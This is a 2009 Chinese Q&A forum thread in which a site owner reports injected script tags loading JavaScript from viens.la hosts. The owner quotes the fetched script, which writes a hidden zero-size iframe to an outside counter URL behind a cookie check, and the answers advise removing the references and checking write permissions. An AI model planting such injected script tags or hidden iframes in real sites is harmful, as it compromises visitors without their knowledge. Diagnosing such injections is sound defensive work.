首页 新闻 会员 周边 捐助

网站被挂马

0
悬赏园豆:50 [已解决问题] 解决于 2009-01-13 19:48


好多网页中都有<script language="javascript" src="http://css2.viens.la/css.js?width=700&height=600&keyword=uf556"></script>

<script language="javascript" src="http://office2.viens.la/office.js?do=list&uid=193&type=blog"></script>
这两段代码  

我将两个js下载下来后发现两个js内容一样如下:

var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var kesor = cookA.indexOf(cookName);
if (kesor == -1)
   {
document.write('');

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count27.51yes.com/sa.aspx?id=275666147&amp;
refe='+window.parent.location+'&amp;location=http%3A//office.js/&amp;color=32x&amp;resolution=1024x768&amp;returning=0&amp;
language=zh-cn&amp;ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');

   document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
   }


请高手帮忙

 

等钩的鱼的主页 等钩的鱼 | 初学一级 | 园豆:10
提问于:2009-01-13 15:08
< >
分享
最佳答案
0

先把这些页面中的那个引用删除,之后查找漏洞。尤其是写权限是不是被利用

GUO Xingwang | 老鸟四级 |园豆:3885 | 2009-01-13 17:33
其他回答(1)
0

xuexixuexi...

Jared.Nie | 园豆:1940 (小虾三级) | 2009-01-13 19:41
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册